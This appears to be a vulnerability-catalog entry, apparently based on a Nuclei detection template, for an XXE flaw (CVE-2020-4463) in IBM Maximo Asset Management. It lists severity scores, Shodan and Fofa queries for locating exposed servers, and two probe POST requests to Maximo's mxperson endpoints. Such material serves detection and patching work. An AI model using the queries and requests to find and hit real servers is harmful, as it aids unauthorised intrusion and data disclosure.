| Title | IBM Maximo Asset Management Information Disclosure - XML External Entity Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | The vulnerability can lead to unauthorized access to sensitive information or a denial of service. |
| Remediation | Apply the latest security patches or updates provided by IBM to mitigate the vulnerability. |
| CVSS Score | 8.2 |
| EPSS Score | 0.90034 |
| CVE ID | CVE-2020-4463 |
| CWE ID | CWE-611 |
| Shodan Query | http.favicon.hash:-399298961 |
| Fofa Query | icon_hash=-399298961 |
| Tags | cve cve2020 ibm xxe disclosure vkev vuln |
IBM Maximo Asset Management is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.
POST /os/mxperson HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Content-Length: 164
Accept: */*
Accept-Language: en
Content-Type: application/xml
Accept-Encoding: gzip
<?xml version='1.0' encoding='UTF-8'?>
<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
<max:MXPERSONQuery></max:MXPERSONQuery>
</max:QueryMXPERSON>
POST /meaweb/os/mxperson HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 164
Accept: */*
Accept-Language: en
Content-Type: application/xml
Accept-Encoding: gzip
<?xml version='1.0' encoding='UTF-8'?>
<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
<max:MXPERSONQuery></max:MXPERSONQuery>
</max:QueryMXPERSON>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-4463.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-4463.pcap
N/AN/A